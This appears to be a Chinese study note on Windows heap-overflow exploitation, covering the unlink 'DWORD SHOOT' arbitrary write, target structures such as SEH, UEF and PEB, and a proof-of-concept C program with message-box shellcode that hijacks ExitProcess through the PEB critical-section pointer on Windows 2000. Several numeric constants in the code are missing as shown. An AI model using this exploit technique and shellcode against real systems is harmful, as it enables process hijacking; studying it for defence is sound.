堆块分配时的任意地址写入攻击原理
堆管理系统的三类操作:分配、释放、合并,归根到底都是对堆块链表的修改。如果能伪造链表结点的指针,那么在链表装卸的过程中就有可能获得读写内存的机会。堆溢出利用的精髓就是用精心构造的数据去溢出下一个堆块的块首,改写块首中的前向指针 Flink 和后向指针 Blink,然后在分配、释放、合并操作发生时获得一次读写内存的机会。
这种利用内存读写机会在任意位置写入任意数据的做法在原书中称为“DWORD SHOT”,在其它文献中叫做“Arbitrary DWORD Reset”。攻击之后,可以劫持进程、运行 Shellcode。
将一个节点从堆块链表中卸下(分配堆块时)的过程可以用如下代码表示:
int remove (ListNode * node)
{
node -> blink -> flink = node -> flink; // 堆溢出攻击利用点
node -> flink -> blink = node -> blink;
return ;
}
当堆溢出发生时,攻击者可以覆盖下一个堆块的块首(是不是意味着堆块必须在物理内存中连续?),攻击者伪造被覆盖的堆块的前向指针 Flink 和后向指针 Blink。当被覆盖的堆块被管理系统从堆块链表中卸下时,会执行 node -> blink -> flink = node -> flink 过程,这会导致伪造的 Flink 指针值被写入伪造的 Blink 所指的地址,从而发生任意地址写入攻击。
实际上,除了堆块的分配外,堆块释放(装入链表)、堆块合并时都涉及链表操作,所以都能引发 DWORD SHOOT 攻击。
快表也可以被用来伪造 DWORD SHOOT。
堆溢出攻击的代码植入原理
堆溢出的精髓是获得一个 DWORD SHOOT 机会,所以堆溢出利用的精髓就是 DWORD SHOOT 的利用。与栈溢出时地毯式攻击不同,堆溢出攻击更加精准,往往要直接狙击目标。精准是 DWORD SHOOT 的优点,但火力不足也会限制堆溢出的利用。
对于 Windows XP SP1 之前的 Windows 系统,DWORD SHOOT 的攻击目标可以分为以下几类:
1. 内存变量:修改能够影响程序执行的重要标志变量。对于之前溢出修改邻接变量的试验,DWORD SHOOT 比栈溢出攻击强大得多,因为栈溢出时要求溢出数据连续。
2. 代码逻辑:修改代码段重要函数的关键逻辑,如分支判断逻辑,或者将身份验证函数的调用指令改成 nop 来爆破。
3. 函数返回地址:DWORD SHOOT 也能像栈溢出一样修改函数返回地址来劫持进程。但由于栈帧移位的原因,堆溢出在这种攻击中局限较多。
4. 攻击异常处理机制:当程序异常时,系统会转入异常处理,因此异常处理所使用的重要数据结构往往会成为 DWORD SHOOT 的重要目标。主要包括:
S.E.H Structured Exception Handler,结构化异常处理
F.V.E.H First Vectored Exception Handler
P.E.B Process Environment Block
U.E.F Unhandled Exception Filter
T.E.B Thread Environment Block 中存入的第一个 S.E.H 指针
5. 函数指针:系统调用动态链接库中的函数、C++ 中的虚函数等用到了函数指针,另外如果软件的开发方式中使用了函数指针,那么修改这些指针能够劫持进程。
6. P.E.B 中的线程同步函数的入口地址:每个进程的 P.E.B 中都存放着一对同步函数指针,指向 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection(),并且在进程退出时会被 ExitProcess() 调用。如果 DWORD SHOOT 能修改这对指针中的其中一个,那么退出时 ExitProcess() 将会调用 Shellcode。由于 P.E.B 的位置始终不会变化,这对指针在 P.E.B 中的偏移也始终不变,这使得利用堆溢出开发适用于不同 OS 和补丁版本的 exploit 成为可能。静止的鞭子比活动的靶子好打得多,所以这种方法成为了 Windows 下堆溢出攻击最经典的方法之一。
溢出 P.E.B 中的 RtlEnterCriticalSection() 函数指针
Windows 使用了锁机制、信号量(Semaphore)、临界区(Critical Section)等措施来同步进程中的多个线程。当进程退出时,ExitProcess() 函数需要做很多善后工作,其中必然乃至临界区函数 RtlEnterCriticalSection() 和 RtlLeaveCriticalSection() 来同步线程防止产生“脏数据”。
ExitProcess() 调用临界区函数的方法比较独特,是通过进程环境块 P.E.B 中偏移 0x20 处存放的函数指针来间接完成的:0x7FFDF020 处存放着指向 RtlEnterCriticalSection() 的指针,0x7FFDF024 处存放着指向 RtlLeaveCriticalSection() 的指针。但从 Windows 2003 Server 开始,MS 已经修改了这个实现。
现在将 0x7FFDF024 处的 RtlEnterCriticalSection() 函数指针作为目标,利用 DWORD SHOOT 进行攻击(实验环境与上一节堆溢出介绍相同):
#include<windows.h>
char shellcode[];
int main()
{
HLOCAL h1=,h2=;
HANDLE hp;
int i=;
while(i<)shellcode[i++]='\x90'; //init shellcode
hp=HeapCreate(,0x1000,0x10000);
__asm int
h1=HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,0x200); //overflow,0x200=512
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,);
return ;
}
调试以上代码可以看到覆盖成功,但 DWORD SHOOT 会将 0x90909090 写入 0x90909090 导致异常。现将以上代码调整如下:
#include<windows.h>
char shellcode[]=
"\x90\x90\x90\x90\x90" // nop
"\x90\x90\x90\x90\x90" // nop
// repaire the pointer which shooted by heap shooting
"\xb8\x20\xf0\xfd\x7f" // mov eax,7ffdf020
"\xbb\x03\x91\xf8\x77" // mov ebx,77F89103 this addr may related to OS patch version
"\x89\x18" // mov dword ptr ds:[eax],ebx
// 168 bytes popwindow shellcode
"\xFC\x68\x6A\x0A\x38\x1E\x68\x63\x89\xD1\x4F\x68\x32\x74\x91\x0C\x8B\xF4\x8D\x7E\xF4\x33\xDB\xB7\x04\x2B\xE3\x66\xBB\x33\x32\x53"
"\x68\x75\x73\x65\x72\x54\x33\xD2\x64\x8B\x5A\x30\x8B\x4B\x0C\x8B\x49\x1C\x8B\x09\x8B\x69\x08\xAD\x3D\x6A\x0A\x38\x1E\x75"
"\x05\x95\xFF\x57\xF8\x95\x60\x8B\x45\x3C\x8B\x4C\x05\x78\x03\xCD\x8B\x59\x20\x03\xDD\x33\xFF\x47\x8B\x34\xBB\x03\xF5\x99\x0F\xBE"
"\x06\x3A\xC4\x74\x08\xC1\xCA\x07\x03\xD0\x46\xEB\xF1\x3B\x54\x24\x1C\x75\xE4\x8B\x59\x24\x03\xDD\x66\x8B\x3C\x7B\x8B\x59\x1C\x03"
"\xDD\x03\x2C\xBB\x95\x5F\xAB\x57\x61\x3D\x6A\x0A\x38\x1E\x75\xA9\x33\xDB\x53\x68\x77\x65\x73\x74\x68\x66\x61\x69\x6C\x8B\xC4\x53"
"\x50\x50\x53\xFF\x57\xFC\x53\xFF\x57\xF8"
"\x90\x90\x90\x90\x90" // nop
"\x90\x90\x90\x90\x90" // nop
"\x16\x01\x1A\x00\x00\x10\x00\x00" // head of the ajacent free block
"\x88\x06\x52\x00\x20\xf0\xfd\x7f"; void print_shellcode()
{
int i=-;
while(++i<){
if(i%==)printf("\n%d : ",i/);
printf("%02x ",(unsigned char)shellcode[i]);
}
} int main()
{
HLOCAL h1=,h2=;
HANDLE hp=HeapCreate(,0x1000,0x10000);
//print_shellcode();return 0;
h1 = HeapAlloc(hp,HEAP_ZERO_MEMORY,);
memcpy(h1,shellcode,0x200);
//_asm int 3;
h2=HeapAlloc(hp,HEAP_ZERO_MEMORY,);
return ;
}
以上堆溢出的示例代码中:
1. Shellcode 取自前篇中 168 字节的通用弹窗功能代码。Shellcode 的起始地址 0x00520688 是通过调试确定的。
2. 因为 h1 的数据区大小为 200 字节,所以 Shellcode 溢出 hp 堆块之前的操作码长度刚好要与 h1 的数据区大小相同;另外 Shellcode 中第 201~208 字节直接恢复堆块 hp 的块首,以防止 DWORD SHOOT 之前产生异常。
3. 溢出邻接堆块,覆盖其前向指针为 Shellcode 的起始地址 0x00520688,覆盖其后向指针为 P.E.B 中 RtlEnterCriticalSection() 函数指针的存储地址 0x7FFDF020。
4. 注意到 P.E.B 里被修改的函数指针不光会被 ExitProcess() 调用,Shellcode 也会调用 ExitProcess() 而间接调用假的 RtlEnterCriticalSection(),所以 Shellcode 执行后需要修复被 DWORD SHOOT 改写的 P.E.B 函数指针(经调试,试验用的 Windows 2000 VM 中 RtlEnterCriticalSection() 的地址为 0x77F89103)。
5. Shellcode 开头需要预留至少 8 字节的 nop,以免 Shellcode 被指针反射破坏(实验时没有想到指针反射,折腾了好久)。
堆溢出需要注意的问题
1. 避免在调试态下调试 Shellcode。本例中使用 int 3 中断来调试 Shellcode。实际中不一定能修改程序,这时可以修改用于检测调试器的函数返回值,在调试异常处理机制时经常会用这种方法。
2. 劫持进程后需要修复被破坏的 P.E.B 函数指针,否则会遇到很多异常。大多数堆溢出中都要做一些修复工作。Shellcode 的第一条指令 CDF 就是修复 DF 标志的,如果不修复,ESI 在 LOADS 后将从默认自增变为默认自减,从而在装入函数名 hash 时发生错误。在堆溢出中,还需要修复被改乱了的堆区,简单的修复堆区的方法为:
. 在堆区中偏移 0x28 处存放着堆区所有空闲块的总和 TotalFreeSize。
. 将一个较大块(或直接找到暂时不用的区域伪造一个块首)块首中标识自身大小的位置设置成 TotalFreeSize。
. 将这个块的 Flag 设置成 0x10(Last Entry 尾块)。
. 将 Freelist[] 的 Flink 和 Blink 都指向这个块。
这样堆区看起来就像刚初始完只有一个尾块的状态,不但可以继续完成分配工作,还保护了堆中已有的数据。
3. 定位 Shellcode 的跳板。实际中堆的地址不固定,不可能像示例中一样事先确定 Shellcode 的地址。和栈溢出一样,经常也会有寄存器指向堆区离 Shellcode 不远的地方。David Litchfield 在 Black Hat 上演讲中就指出利用 U.E.F 时可以使用几种指令作为踏板定位 Shellcode。这些指令一般在 netapi32.dll、user32.dll、rpcrt4.dll 中有很多,如 (call dword ptr [edi+0x78])、(call dword ptr [esi+0x4c]、(call dword ptr [ebp+0x74])。
4. DWORD SHOOT 后的指针反射
DWORD SHOOT 发生在执行如下过程的时候:node -> blink -> flink = node -> flink,但随后会执行 node -> flink -> blink = node -> blink,后者也会导致 DWORD SHOOT,其结果是目标地址被写回 Shellcode 起始地址偏移 4 字节的位置,造成指针反射,将破坏 4 字节的 Shellcode,这会给没用跳板直接劫持进程的 Shellcode 造成很多限制,本实验中被破坏的位置原先是 nop,破坏之后的指令被 CPU 忽略,没有造成异常。
堆溢出博大精深,继续积累吧!